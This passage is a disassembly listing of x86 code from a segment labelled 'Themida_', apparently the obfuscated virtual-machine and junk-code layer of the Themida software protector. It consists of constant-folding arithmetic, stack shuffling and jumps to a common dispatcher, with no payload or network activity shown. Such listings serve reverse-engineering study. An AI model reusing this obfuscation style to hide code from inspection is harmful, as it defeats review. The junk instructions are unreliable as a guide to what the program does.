		mov	fs:[edx], ax
		jmp	loc_554E8C
; ---------------------------------------------------------------------------


loc_553D07:				; CODE XREF: Themida_:00551B1Aj
		sub	edx, 0ED31206Dh
		sub	ebp, edx
		pop	edx
		xor	ebp, 0A8A4D31Eh
		mov	edx, ebp
		pop	ebp
		add	ecx, 5980151h
		add	ecx, edx
		sub	ecx, 5980151h
		mov	edx, [esp]
		add	esp, 4
		add	ecx, edi
		sub	ecx, 1EAB19E4h
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_558CE3
; ---------------------------------------------------------------------------


loc_553D4A:				; CODE XREF: Themida_:005513F7j
		mov	edi, 4
		jmp	loc_5515B4
; ---------------------------------------------------------------------------


loc_553D54:				; CODE XREF: Themida_:00551C7Aj
		push	esi
		mov	esi, 28E319EBh
		push	eax
		mov	eax, 44C23E1Fh
		xor	esi, eax
		mov	eax, [esp]
		add	esp, 4
		add	esi, 1
		push	edi
		mov	edi, 729D21D5h
		xor	esi, edi
		pop	edi
		dec	esi
		jmp	loc_558F90
; ---------------------------------------------------------------------------


loc_553D7A:				; CODE XREF: Themida_:00562B8Fj
		add	esp, 4
		push	edi
		mov	edi, 3B7E2C28h
		neg	edi
		push	ebp
		jmp	loc_559D61
; ---------------------------------------------------------------------------


loc_553D8B:				; CODE XREF: Themida_:005521D7j
		push	edi
		push	45131762h
		pop	edi
		xor	edi, 45131766h
		jmp	loc_55FF75
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55A3FD
; ---------------------------------------------------------------------------


loc_553DA6:				; CODE XREF: Themida_:00553408j
		mov	ecx, [esp]
		jmp	loc_55BB68
; ---------------------------------------------------------------------------


loc_553DAE:				; CODE XREF: Themida_:00556EB0j
		add	ebx, 461F2A1Dh
		jmp	loc_55A0B3
; ---------------------------------------------------------------------------


loc_553DB9:				; CODE XREF: Themida_:00553A95j
		push	eax
		mov	al, dh
		mov	cl, al
		pop	eax
		mov	al, cl
		jmp	loc_562466
; ---------------------------------------------------------------------------


loc_553DC6:				; CODE XREF: Themida_:00555330j
		add	esp, 4
		xor	esi, 810423E9h
		add	ebp, esi
		jmp	loc_565601
; ---------------------------------------------------------------------------


loc_553DD9:				; CODE XREF: Themida_:0055E29Fj
		mov	[esp], ebp
		mov	ebp, 1FC021ABh
		xor	ebp, 54454391h
		sub	eax, 5C0B1D71h
		sub	eax, ebp
		add	eax, 5C0B1D71h
		pop	ebp
		xor	eax, 0B4FDED90h
		mov	ecx, eax
		jmp	loc_552B01
; ---------------------------------------------------------------------------


loc_553E00:				; CODE XREF: Themida_:00563485j
		dec	edi
		shr	edi, 8
		inc	edi
		sub	edi, 0C00A9DE4h
		sub	eax, 6B24FA0h
		jmp	loc_559671
; ---------------------------------------------------------------------------


loc_553E15:				; CODE XREF: Themida_:00558D18j
		inc	dl
		add	dl, 3Ch
		add	dl, 0D2h
		neg	dl
		or	dl, 13h
		jmp	loc_55CEBA
; ---------------------------------------------------------------------------


loc_553E27:				; CODE XREF: Themida_:005627F3j
		mov	ebx, 6812004Ch
		xor	edx, ebx
		pop	ebx
		xor	edx, 409A20ADh
		and	ebx, edx
		pop	edx
		not	ebx
		inc	ebx
		push	edi
		mov	edi, 4B7F5D39h
		dec	edi
		sub	edi, 6E286C8Ah
		not	edi
		xor	edi, 86D09646h
		xor	ebx, edi
		jmp	loc_5514A9
; ---------------------------------------------------------------------------


loc_553E57:				; CODE XREF: Themida_:005633DFj
		mov	[esp], edi
		mov	edi, 19A371CFh
		add	edi, 336FEA3Dh
		add	ebx, 6CC56BA6h
		sub	ebx, edi
		sub	ebx, 6CC56BA6h
		pop	edi
		push	ebx
		mov	ebx, 7D7911ECh
		add	edx, ebx
		jmp	loc_552398
; ---------------------------------------------------------------------------


loc_553E81:				; CODE XREF: Themida_:005575B1j
		mov	edi, edx
		jmp	loc_552549
; ---------------------------------------------------------------------------


loc_553E88:				; CODE XREF: Themida_:00551549j
		push	esi
		push	1F1E0877h
		pop	esi
		push	ebx
		mov	ebx, 48716278h
		push	edx
		jmp	loc_5566D4
; ---------------------------------------------------------------------------


loc_553E9B:				; CODE XREF: Themida_:0055EC10j
		xor	edi, 73FB6AB9h
		push	edi
		mov	edi, 4F9F7171h
		sub	edi, 26835413h
		sub	eax, edi
		pop	edi
		add	eax, 7D837BD7h
		add	eax, edi
		sub	eax, 7D837BD7h
		add	eax, 291C1D5Eh
		pop	edi
		push	esi
		mov	esi, 2
		add	eax, esi
		pop	esi
		jmp	loc_560A07
; ---------------------------------------------------------------------------


loc_553ED0:				; CODE XREF: Themida_:0056223Bj
		pop	esi
		add	esi, 344D76B3h
		mov	ecx, esi
		jmp	loc_562EC2
; ---------------------------------------------------------------------------


loc_553EDE:				; CODE XREF: Themida_:00551324j
		mov	[esp], ecx
		mov	ecx, 59FA113Dh
		and	ecx, 7703440Fh
		sub	ecx, 3316370h
		sub	ecx, 0FFFFFFFFh
		add	ecx, 1BD26A8Bh
		mov	ebp, ecx
		pop	ecx
		push	esi
		mov	esi, 6BBA5C31h
		xor	ebp, esi
		pop	esi
		inc	ebp
		sub	ebp, 0FAE45326h
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		pop	ebp
		push	esi
		mov	esi, 772951B8h
		and	esi, 3B807F23h
		jmp	loc_553571
; ---------------------------------------------------------------------------


loc_553F29:				; CODE XREF: Themida_:00554A60j
		dec	ecx
		not	ecx
		xor	ecx, 40B12218h
		push	6057h
		mov	[esp], ecx
		jmp	loc_55F98C
; ---------------------------------------------------------------------------


loc_553F3F:				; CODE XREF: Themida_:0055B5ADj
		push	28E56396h
		pop	eax
		add	eax, 0FFFFFFFFh
		push	edx
		mov	edx, 2FF7C144h
		jmp	loc_55C889
; ---------------------------------------------------------------------------


loc_553F53:				; CODE XREF: Themida_:00564EF4j
		add	ebp, edi
		sub	ebp, 653B6BF1h
		jmp	loc_550FC7
; ---------------------------------------------------------------------------


loc_553F60:				; CODE XREF: Themida_:00559800j
		neg	ebx
		not	ebx
		push	edi
		push	ebp
		mov	ebp, 28E161D9h
		mov	edi, 6FF628E6h
		xor	edi, ebp
		pop	ebp
		and	edi, 1AC14466h
		and	edi, 0FF5211h
		shl	edi, 3
		push	edi
		jmp	loc_55DD29
; ---------------------------------------------------------------------------


loc_553F88:				; CODE XREF: Themida_:00553227j
		pop	ecx
		xor	esi, [esp]
		jmp	loc_55B019
; ---------------------------------------------------------------------------


loc_553F91:				; CODE XREF: Themida_:0055D691j
		mov	ebx, [esp]
		add	esp, 4
		shl	edx, 3
		jmp	loc_5523B0
; ---------------------------------------------------------------------------


loc_553F9F:				; CODE XREF: Themida_:00551F83j
		push	dword ptr [eax]
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_553FA6:				; CODE XREF: Themida_:00564617j
		mov	ebp, ecx
		jmp	loc_561A4C
; ---------------------------------------------------------------------------


loc_553FAD:				; CODE XREF: Themida_:0055ABF2j
		mov	eax, [esp]
		add	esp, 4
		xor	ebp, 14DA0C2Dh
		shr	ebp, 7
		jmp	loc_552159
; ---------------------------------------------------------------------------


loc_553FC4:				; CODE XREF: Themida_:00550901j
		sub	edx, 73D03DF9h
		shr	edx, 7
		jmp	loc_56469C
; ---------------------------------------------------------------------------


loc_553FD2:				; CODE XREF: Themida_:0055E2C8j
		mov	[esp], edx
		push	esp
		pop	edx
		push	ebx
		mov	ebx, 62F67A2h
		jmp	loc_551360
; ---------------------------------------------------------------------------


loc_553FE2:				; CODE XREF: Themida_:005570EAj
		mov	[esp], ebx
		push	6454h
		mov	[esp], edi
		mov	edi, 77070156h
		jmp	loc_5640C3
; ---------------------------------------------------------------------------


loc_553FF7:				; CODE XREF: Themida_:00563FF8j
		sub	eax, 45D23EF3h
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55F840
; ---------------------------------------------------------------------------


loc_554007:				; CODE XREF: Themida_:0055424Fj
		neg	edx
		shl	edx, 4
		add	edx, 6F90093Fh
		sub	edx, 5FB32B52h
		mov	esi, edx
		jmp	loc_555A80
; ---------------------------------------------------------------------------


loc_55401F:				; CODE XREF: Themida_:00561731j
		push	4E89h
		mov	[esp], edi
		mov	edi, 425C5656h
		and	edi, 50344784h
		push	ebp
		mov	ebp, 506207A0h
		add	edi, ebp
		jmp	loc_55F725
; ---------------------------------------------------------------------------


loc_55403F:				; CODE XREF: Themida_:00556FBCj
		push	esi
		mov	esi, 63D232E2h
		add	esi, 9C2DCD22h
		add	ebp, esi
		pop	esi
		add	ebp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_559C7E
; ---------------------------------------------------------------------------


loc_55405C:				; CODE XREF: Themida_:0055068Ej
		xor	edx, 1F43512Bh
		xor	edx, 1D6D460Eh
		add	edx, 0E2C0863Ch
		mov	edi, edx
		jmp	loc_55459D
; ---------------------------------------------------------------------------


loc_554075:				; CODE XREF: Themida_:0055BB81j
		pop	edx
		push	ecx
		mov	ch, al
		mov	dl, ch
		pop	ecx
		mov	eax, [esp]
		jmp	loc_55AE65
; ---------------------------------------------------------------------------


loc_554084:				; CODE XREF: Themida_:005630E3j
		mov	esi, ebp
		pop	ebp
		jmp	loc_556DAC
; ---------------------------------------------------------------------------


loc_55408C:				; CODE XREF: Themida_:0055AC2Fj
		pop	edx
		push	esi
		mov	esi, 78223D00h
		jmp	loc_550B00
; ---------------------------------------------------------------------------


loc_554098:				; CODE XREF: Themida_:00564E61j
		pop	esi
		add	edx, 4
		jmp	loc_55BA36
; ---------------------------------------------------------------------------


loc_5540A1:				; CODE XREF: Themida_:00557EEEj
		or	[esp], eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5540AA:				; CODE XREF: Themida_:00552FE0j
		pop	edi
		sub	[esp], edi
		sub	dword ptr [esp], 659963FDh
		mov	edi, [esp]
		push	ecx
		jmp	loc_556258
; ---------------------------------------------------------------------------


loc_5540BE:				; CODE XREF: Themida_:00552578j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_556F0C
; ---------------------------------------------------------------------------


loc_5540CE:				; CODE XREF: Themida_:0055FBBCj
		xor	ebp, 6BEB75E8h
		shr	ebp, 1
		sub	ebp, 35FDB25Fh
		mov	edi, ebp
		jmp	loc_55BCDD
; ---------------------------------------------------------------------------


loc_5540E3:				; CODE XREF: Themida_:00554D7Fj
		mov	edx, esp
		add	edx, 4
		jmp	loc_55D5E5
; ---------------------------------------------------------------------------


loc_5540F0:				; CODE XREF: Themida_:00560CB6j
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, ebx
		pop	ebx
		push	2A1Eh
		mov	[esp], edx
		push	63BE6642h
		pop	edx
		push	70A0h
		jmp	loc_55765F
; ---------------------------------------------------------------------------


loc_554111:				; CODE XREF: Themida_:0055CB70j
		shl	esi, 2
		jmp	loc_563FE2
; ---------------------------------------------------------------------------


loc_554119:				; CODE XREF: Themida_:0055781Fj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		or	eax, 5D9E78E9h
		push	esi
		mov	esi, 7FBE7DFDh
		jmp	loc_55B613
; ---------------------------------------------------------------------------


loc_554138:				; CODE XREF: Themida_:00556C66j
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_5525BA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_557AAB
; ---------------------------------------------------------------------------


loc_55414C:				; CODE XREF: Themida_:005551D4j
		pop	edx
		shr	ecx, 0Bh
		jmp	loc_5646B1
; ---------------------------------------------------------------------------


loc_554155:				; CODE XREF: Themida_:0056402Dj
		push	489441F8h
		pop	edi
		jmp	loc_565A5F
; ---------------------------------------------------------------------------


loc_554160:				; CODE XREF: Themida_:005520E1j
		or	ecx, 65190EF6h
		push	edx
		mov	edx, 26532F35h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 748001B3h
		shr	eax, 7
		jmp	loc_563F30
; ---------------------------------------------------------------------------


loc_55417F:				; CODE XREF: Themida_:0055F8C2j
		push	53Eh
		mov	[esp], ebx
		jmp	loc_55C485
; ---------------------------------------------------------------------------


loc_55418C:				; CODE XREF: Themida_:0055C272j
		add	ebp, 0C8865E29h
		add	esi, ebp
		jmp	loc_5658D6
; ---------------------------------------------------------------------------


loc_554199:				; CODE XREF: Themida_:0055D833j
		add	bl, 11h
		pop	eax
		add	bl, 8
		movzx	eax, al
		jmp	loc_555D16
; ---------------------------------------------------------------------------


loc_5541A8:				; CODE XREF: Themida_:0055F6AAj
		pop	ebp
		or	ebp, 783001DCh
		push	esi
		mov	esi, 3F2E63D2h
		sub	ebp, 78A704D3h
		add	ebp, esi
		add	ebp, 78A704D3h
		pop	esi
		shl	ebp, 5
		jmp	loc_55F90B
; ---------------------------------------------------------------------------


loc_5541CC:				; CODE XREF: Themida_:0055215Fj
		add	ecx, 1AE023D4h
		sub	ecx, ebp
		push	esi
		mov	esi, 44E80375h
		or	esi, 4D712B04h
		and	esi, 4926BAFh
		xor	esi, 1E7008F1h
		jmp	loc_5634A6
; ---------------------------------------------------------------------------


loc_5541F1:				; CODE XREF: Themida_:00557346j
		add	al, dl
		jmp	loc_55DB80
; ---------------------------------------------------------------------------


loc_5541F8:				; CODE XREF: Themida_:005509A0j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5541FD:				; CODE XREF: Themida_:00563256j
		mov	eax, esp
		push	ebp
		push	edi
		mov	edi, 17023CAAh
		add	edi, 5A9533EEh
		push	eax
		push	edi
		pop	eax
		mov	ebp, eax
		pop	eax
		pop	edi
		neg	ebp
		not	ebp
		or	ebp, 7AA97441h
		dec	ebp
		neg	ebp
		add	ebp, 7BBF74DAh
		add	eax, ebp
		pop	ebp
		push	5242h
		mov	[esp], ebp
		mov	ebp, 3E351278h
		jmp	loc_556438
; ---------------------------------------------------------------------------


loc_55423B:				; CODE XREF: Themida_:0055EBBBj
		add	ebx, 34977A1Ch
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5567CB
; ---------------------------------------------------------------------------


loc_55424C:				; CODE XREF: Themida_:00558D80j
		shr	edx, 6
		jmp	loc_554007
; ---------------------------------------------------------------------------


loc_554254:				; CODE XREF: Themida_:00565ADFj
		push	edi
		push	esp
		pop	edi
		push	eax
		jmp	loc_55729A
; ---------------------------------------------------------------------------


loc_55425D:				; CODE XREF: Themida_:005602B3j
		add	esp, 4
		push	edi
		mov	edi, 3C3063C8h
		add	edi, 62173E2Ch
		add	edi, 61B85E10h
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4E567305h
		add	edi, 267C18CCh
		jmp	loc_5523F4
; ---------------------------------------------------------------------------


loc_554293:				; CODE XREF: Themida_:0056018Dj
		mov	eax, 8C541A1h
		not	eax
		and	eax, 7950188Ch
		xor	eax, 1A141B77h
		mov	edx, eax
		pop	eax
		mov	eax, 94FBFC89h
		add	eax, edx
		pop	edx
		jmp	loc_5614CD
; ---------------------------------------------------------------------------


loc_5542B4:				; CODE XREF: Themida_:0055B01Fj
		pop	esp
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_55A674
; ---------------------------------------------------------------------------


loc_5542BF:				; CODE XREF: Themida_:0055A612j
		push	edi
		push	edx
		mov	edx, 12737641h
		mov	edi, edx
		pop	edx
		mov	ebp, 12737643h
		add	ebp, 7CD1410Eh
		sub	ebp, edi
		jmp	loc_55DFDD
; ---------------------------------------------------------------------------


loc_5542DB:				; CODE XREF: Themida_:00551969j
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		xor	esi, 49BB6CC0h
		jmp	loc_564D80
; ---------------------------------------------------------------------------


loc_5542F3:				; CODE XREF: Themida_:005512C2j
		push	ebx
		mov	ebx, 4BBF5F87h
		add	ebx, 6CE5042Ah
		xor	ebx, 20EB033Bh
		neg	ebx
		add	ebx, 4DC66D36h
		xor	ebx, 0AE862CABh
		xor	ebx, 60FD5CD4h
		xor	edx, ebx
		pop	ebx
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_556D5D
; ---------------------------------------------------------------------------


loc_554327:				; CODE XREF: Themida_:0055A5F1j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555816
; ---------------------------------------------------------------------------


loc_554332:				; CODE XREF: Themida_:0055699Ej
		push	edx
		mov	edx, 4
		jmp	loc_55E15F
; ---------------------------------------------------------------------------


loc_55433D:				; CODE XREF: Themida_:00557D8Aj
		sub	edi, ebx
		jmp	loc_55F903
; ---------------------------------------------------------------------------


loc_554344:				; CODE XREF: Themida_:0055696Aj
		mov	edx, esp
		add	edx, 4
		jmp	loc_5602B8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 727E1649h
		inc	ebx
		inc	ebx
		dec	ebx
		or	ebx, 603736E5h
		inc	ebx
		jmp	loc_55BBE5
; ---------------------------------------------------------------------------


loc_554372:				; CODE XREF: Themida_:0055EA58j
		add	edi, ecx
		pop	ecx
		add	edi, edx
		push	6B1h
		mov	[esp], eax
		jmp	loc_55105C
; ---------------------------------------------------------------------------


loc_554384:				; CODE XREF: Themida_:0055787Ej
		pop	ecx
		add	eax, 48642991h
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		pop	dword ptr [edi+40h]
		mov	eax, [esp]
		push	4B09h
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 790D5D30h
		sub	ebp, 64663Eh
		shl	ebp, 1
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5526A9
; ---------------------------------------------------------------------------


loc_5543D6:				; CODE XREF: Themida_:005524CBj
		sub	ecx, 3DE02F90h
		and	ecx, 4A035385h
		sub	ecx, 0A001000h
		add	eax, ecx
		jmp	loc_55309F
; ---------------------------------------------------------------------------


loc_5543EF:				; CODE XREF: Themida_:00559E5Aj
		neg	ebp
		add	ebp, 0CC316CD8h
		jmp	loc_564595
; ---------------------------------------------------------------------------


loc_5543FC:				; CODE XREF: Themida_:00555CC3j
		pop	esi
		push	eax
		mov	eax, 6F1C34EBh
		or	eax, 1D03A2Eh
		jmp	loc_55F16D
; ---------------------------------------------------------------------------


loc_55440D:				; CODE XREF: Themida_:00557E7Aj
		mov	edx, esp
		add	edx, 4
		push	3E0Fh
		jmp	loc_55974F
; ---------------------------------------------------------------------------


loc_55441F:				; CODE XREF: Themida_:00565407j
		neg	dl
		or	dl, 0FBh
		neg	dl
		push	ebx
		mov	bl, 5
		not	bl
		sub	bl, 2Eh
		shl	bl, 4
		and	bl, 1
		add	bl, 0A5h
		xor	dl, bl
		pop	ebx
		sub	al, 0EDh
		jmp	loc_562B18
; ---------------------------------------------------------------------------


loc_554441:				; CODE XREF: Themida_:0055CABBj
		push	ebp
		push	eax
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		jmp	loc_56357A
; ---------------------------------------------------------------------------


loc_554450:				; CODE XREF: Themida_:00554C35j
		and	eax, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	57A2h
		mov	[esp], edx
		push	764C3756h
		pop	edx
		not	edx
		neg	edx
		push	edi
		mov	edi, 16F90192h
		push	ebp
		mov	ebp, 2C8D0343h
		not	ebp
		shr	ebp, 3
		inc	ebp
		jmp	loc_5583C2
; ---------------------------------------------------------------------------


loc_55448C:				; CODE XREF: Themida_:0055F906j
		pop	edi


loc_55448D:				; CODE XREF: Themida_:00557EB3j
					; Themida_:0055F634j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		jmp	loc_558460
; ---------------------------------------------------------------------------


loc_554498:				; CODE XREF: Themida_:00550DF8j
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0E1h
		not	dh
		jmp	loc_55CD21
; ---------------------------------------------------------------------------


loc_5544B0:				; CODE XREF: Themida_:0055516Ej
		add	edi, 6ED99FCAh
		jmp	loc_55E598
; ---------------------------------------------------------------------------


loc_5544BB:				; CODE XREF: Themida_:005604C4j
		sub	ecx, 211C1333h
		and	edx, ecx
		pop	ecx
		xor	edx, 63AA0F1Dh
		sub	edx, 74C26FA2h
		not	edx
		sub	edx, 0DE18D173h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		and	ebx, 76BB6D22h
		jmp	loc_556CD4
; ---------------------------------------------------------------------------


loc_5544EE:				; CODE XREF: Themida_:0055ABDCj
		add	ecx, 744C419Ch
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		jmp	loc_562022
; ---------------------------------------------------------------------------


loc_554503:				; CODE XREF: Themida_:005579FCj
		pop	ebx
		add	ebx, ebp
		pop	ebp
		xor	ecx, ebx
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5651EC
; ---------------------------------------------------------------------------


loc_554514:				; CODE XREF: Themida_:00550FDAj
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_55451E:				; CODE XREF: Themida_:005651D0j
		mov	dl, 98h
		inc	dl
		dec	dl
		jmp	loc_5514FE
; ---------------------------------------------------------------------------


loc_554529:				; CODE XREF: Themida_:0055937Dj
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 19A63BBBh
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5659BD
; ---------------------------------------------------------------------------


loc_554546:				; CODE XREF: Themida_:00554B30j
		sub	ecx, 4DC67283h
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_557B57
; ---------------------------------------------------------------------------


loc_554560:				; CODE XREF: Themida_:0055FA85j
		mov	esi, [esp]
		add	esp, 4
		and	[edi+1Ch], ecx
		push	dword ptr [esp]
		jmp	loc_550EED
; ---------------------------------------------------------------------------


loc_554571:				; CODE XREF: Themida_:005634D3j
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_551802
; ---------------------------------------------------------------------------


loc_554588:				; CODE XREF: Themida_:00555A1Cj
		xor	ah, 7
		and	bl, ah
		mov	eax, [esp]
		add	esp, 4
		inc	bl
		jmp	loc_564E11
; ---------------------------------------------------------------------------


loc_55459D:				; CODE XREF: Themida_:00554070j
		pop	edx
		sub	ebx, 5B4A3BF8h
		sub	ebx, edi
		push	eax
		jmp	loc_563CB0
; ---------------------------------------------------------------------------


loc_5545AC:				; CODE XREF: Themida_:005562AEj
		add	edx, ecx
		jmp	loc_5643F6
; ---------------------------------------------------------------------------


loc_5545B3:				; CODE XREF: Themida_:00551A45j
		sub	edi, 49041149h
		add	edi, esi
		add	edi, 49041149h
		push	ebp
		mov	ebp, 5BB202EEh
		sub	edi, ebp
		pop	ebp
		jmp	loc_56563D
; ---------------------------------------------------------------------------


loc_5545CF:				; CODE XREF: Themida_:00560090j
		mov	al, 80h
		dec	al
		not	al
		not	al
		inc	al
		jmp	loc_55D627
; ---------------------------------------------------------------------------


loc_5545DE:				; CODE XREF: Themida_:00564CEBj
		or	cl, al
		mov	eax, [esp]
		add	esp, 4
		neg	cl
		jmp	loc_55AE97
; ---------------------------------------------------------------------------


loc_5545F0:				; CODE XREF: Themida_:005655EEj
		mov	edi, 79B4189Ah
		sub	edx, 0D6E7E77h
		add	edx, 689161B7h
		add	edx, edi
		sub	edx, 689161B7h
		add	edx, 0D6E7E77h
		mov	edi, [esp]
		jmp	loc_56332F
; ---------------------------------------------------------------------------


loc_554617:				; CODE XREF: Themida_:00562759j
		push	7E29h
		mov	[esp], ecx
		mov	ecx, 38466BC9h
		sub	ecx, 298D049Dh
		push	ebp
		mov	ebp, 0F6235E1h
		xor	ecx, ebp
		pop	ebp
		shr	ecx, 4
		push	ebp
		mov	ebp, 0FFE24AD8h
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_55D9E0
; ---------------------------------------------------------------------------


loc_554646:				; CODE XREF: Themida_:00559DABj
		xchg	edx, [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_554656:				; CODE XREF: Themida_:00561F7Bj
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		or	ebx, ebx
		jnz	loc_560D6A
		push	eax
		push	ebp
		jmp	loc_55FDB1
; ---------------------------------------------------------------------------


loc_55467D:				; CODE XREF: Themida_:0055921Cj
		xor	ebx, 474B2DC5h
		push	2474h
		jmp	loc_55C99C
; ---------------------------------------------------------------------------


loc_55468D:				; CODE XREF: Themida_:0055A8EEj
		mov	ebx, 44CD4FEFh
		xor	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4


loc_55469E:				; CODE XREF: Themida_:loc_553BE7j
					; Themida_:005610FBj
		push	3DC7h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_558097
; ---------------------------------------------------------------------------


loc_5546B1:				; CODE XREF: Themida_:00550F4Bj
		mov	dh, 12h
		jmp	loc_551CBA
; ---------------------------------------------------------------------------


loc_5546B8:				; CODE XREF: Themida_:0055F485j
		mov	ebp, 217D1634h
		mov	ecx, 364B3E7Bh
		xor	ecx, ebp
		pop	ebp
		add	ecx, 2EDE08BBh
		sub	ecx, ebx
		jmp	loc_55766E
; ---------------------------------------------------------------------------


loc_5546D2:				; CODE XREF: Themida_:00564759j
		sub	ecx, 0C926367h
		shr	ecx, 5
		sub	ecx, 79B6DE0h
		add	esi, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5652A5
; ---------------------------------------------------------------------------


loc_5546F4:				; CODE XREF: Themida_:00552CBAj
		push	ebx
		jmp	loc_559FFF
; ---------------------------------------------------------------------------


loc_5546FA:				; CODE XREF: Themida_:00558055j
		add	edx, 10C0080Ah
		add	edx, ebp
		push	ecx
		mov	ecx, 30ED3E31h
		shl	ecx, 2
		inc	ecx
		sub	ecx, 0B2F4F0BBh
		add	edx, 18A541A7h
		sub	edx, ecx
		sub	edx, 18A541A7h
		pop	ecx
		jmp	loc_55527B
; ---------------------------------------------------------------------------


loc_554726:				; CODE XREF: Themida_:0055C203j
		push	ebp
		mov	ebp, 2A457C7h
		not	ebp
		jmp	loc_5622A5
; ---------------------------------------------------------------------------


loc_554733:				; CODE XREF: Themida_:0055BFD0j
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55D4F9
; ---------------------------------------------------------------------------


loc_554745:				; CODE XREF: Themida_:0055976Cj
		add	esp, 4
		jmp	loc_55ABEA
; ---------------------------------------------------------------------------


loc_554750:				; CODE XREF: Themida_:00550B84j
		mov	[esp], bx
		jmp	loc_558960
; ---------------------------------------------------------------------------


loc_554759:				; CODE XREF: Themida_:00563C6Bj
		sub	esi, 0EB71B9B8h
		push	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_55292B
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		push	4F457FC3h
		pop	eax
		jmp	loc_55C139
; ---------------------------------------------------------------------------


loc_55477D:				; CODE XREF: Themida_:0056380Ej
		push	2C55h
		mov	[esp], eax
		mov	eax, 66801355h
		jmp	loc_55D261
; ---------------------------------------------------------------------------


loc_55478F:				; CODE XREF: Themida_:00557872j
		push	52B8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		jmp	loc_55D290
; ---------------------------------------------------------------------------


loc_5547AA:				; CODE XREF: Themida_:0055D893j
		add	edx, 1F403C05h
		pop	esi
		sub	edx, 436C50F0h
		add	edx, 0F8F009F2h
		and	edi, edx
		pop	edx
		xor	edi, 76322F21h
		xor	eax, edi
		pop	edi
		push	ebx
		jmp	loc_5526DC
; ---------------------------------------------------------------------------


loc_5547CF:				; CODE XREF: Themida_:00561919j
		mov	ebx, 54263F9Fh
		neg	ebx
		jmp	loc_5566C4
; ---------------------------------------------------------------------------


loc_5547DB:				; CODE XREF: Themida_:00561913j
		pop	edi
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 728E1C0Eh
		jmp	loc_55D7CB
; ---------------------------------------------------------------------------


loc_5547EF:				; CODE XREF: Themida_:0055FAEAj
		pop	esp
		add	[esp], eax
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_5547F9:				; CODE XREF: Themida_:00557F59j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_556147
; ---------------------------------------------------------------------------


loc_55480C:				; CODE XREF: Themida_:005647DDj
		sub	ebx, 613B6A3Ch
		add	ebx, esi
		push	eax
		mov	eax, 613B6A3Ch
		add	ebx, eax
		pop	eax
		jmp	loc_55FA3B
; ---------------------------------------------------------------------------


loc_554822:				; CODE XREF: Themida_:0056492Fj
		not	edi
		shr	edi, 6
		add	edi, 6CA0512Ch
		sub	edi, 0B42DCED5h
		jmp	loc_56462E
; ---------------------------------------------------------------------------


loc_554838:				; CODE XREF: Themida_:00561DC5j
		add	edi, 4
		push	eax
		mov	eax, 485103ADh
		push	ebp
		mov	ebp, 0
		sub	ebp, eax
		jmp	loc_557A27
; ---------------------------------------------------------------------------


loc_554851:				; CODE XREF: Themida_:0055C624j
		add	esp, 4
